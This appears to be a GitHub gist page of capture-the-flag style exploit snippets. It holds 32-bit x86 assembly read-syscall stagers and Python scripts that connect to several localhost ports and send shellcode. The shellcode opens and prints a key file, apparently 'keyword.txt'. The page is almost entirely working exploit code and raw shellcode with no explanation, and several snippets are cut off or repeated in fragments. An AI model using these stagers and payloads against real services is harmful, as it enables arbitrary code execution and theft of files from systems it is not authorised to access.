Skip to content

Instantly share code, notes, and snippets.

BITS 32
mov ecx, eax
xor ebx, ebx
push BYTE 0x03
pop eax
push BYTE 0x7f
pop edx
int 0x80
from socket import *
from struct import pack
p = socket(AF_INET, SOCK_STREAM)
p.connect(("localhost", 10000))
stager = "\x89\xc1\x31\xdb\x6a\x03\x58\x6a\x7f\x5a\xcd\x80"
read_shellcode = "\x90" * 30 + "\x31\xc9\x51\x68\x74\x78\x74\x00\x68\x6f\x72\x64\x2e\x68\x6b\x65\x79\x77\x54\x5b\x6a\x05\x58\xcd\x80\x89\xc3\xb0\x03\x89\xe1\x81\xc1\xff\x00\x00\x00\x31\xd2\xb6\xff\xb2\xff\xcd\x80\x89\xc2\x6a\x04\x58\xb3\x01\xcd\x80"
p.send(pack("<I", len(stager)))
BITS 32
mov ecx, eax
xor ebx, ebx
xor eax, eax
xor edx, edx
mov al, 0x3
mov dl, 0x7f
int 0x80
BITS 32
push eax
xor ebx, ebx
push BYTE 0x03
pop eax
pop ecx
push BYTE 0x7f
pop edx
from socket import *
from struct import pack
p = socket(AF_INET, SOCK_STREAM)
p.connect(("localhost", 10014))
stager = "\x50\x31\xdb\x6a\x03\x58\x59\x6a\x7f\x5a\xcd\x80\x90\x90\x90\x90\x90"
read_shellcode = "\x90" * 30 + "\x31\xc9\x51\x68\x74\x78\x74\x00\x68\x6f\x72\x64\x2e\x68\x6b\x65\x79\x77\x54\x5b\x6a\x05\x58\xcd\x80\x89\xc3\xb0\x03\x89\xe1\x81\xc1\xff\x00\x00\x00\x31\xd2\xb6\xff\xb2\xff\xcd\x80\x89\xc2\x6a\x04\x58\xb3\x01\xcd\x80"
p.send(pack("<I", len(stager)))
BITS 32
push eax
xor ebx, ebx
push BYTE 0x03
pop eax
pop ecx
push BYTE 0x7f
pop edx
from socket import *
from struct import pack
p = socket(AF_INET, SOCK_STREAM)
p.connect(("localhost", 10009))
stager = "\x50\x31\xdb\x6a\x03\x58\x59\x6a\x7f\x5a\xcd\x80\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
read_shellcode = "\x90" * 30 + "\x31\xc9\x51\x68\x74\x78\x74\x00\x68\x6f\x72\x64\x2e\x68\x6b\x65\x79\x77\x54\x5b\x6a\x05\x58\xcd\x80\x89\xc3\xb0\x03\x89\xe1\x81\xc1\xff\x00\x00\x00\x31\xd2\xb6\xff\xb2\xff\xcd\x80\x89\xc2\x6a\x04\x58\xb3\x01\xcd\x80"
p.send(pack("<I", len(stager)))
BITS 32
nop
nop
push eax
xor ebx, ebx
push BYTE 0x03
pop eax
pop ecx
from socket import *
from struct import pack
p = socket(AF_INET, SOCK_STREAM)
p.connect(("localhost", 10010))
stager = "\x90\x90\x50\x31\xdb\x6a\x03\x58\x59\x6a\x7f\x5a\xcd\x80\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
read_shellcode = "\x90" * 30 + "\x31\xc9\x51\x68\x74\x78\x74\x00\x68\x6f\x72\x64\x2e\x68\x6b\x65\x79\x77\x54\x5b\x6a\x05\x58\xcd\x80\x89\xc3\xb0\x03\x89\xe1\x81\xc1\xff\x00\x00\x00\x31\xd2\xb6\xff\xb2\xff\xcd\x80\x89\xc2\x6a\x04\x58\xb3\x01\xcd\x80"
p.send(pack("<I", len(stager)))
BITS 32
push 0x80cd5a7f
push 0x6a58036a
push 0xdb31e189
push esp
ret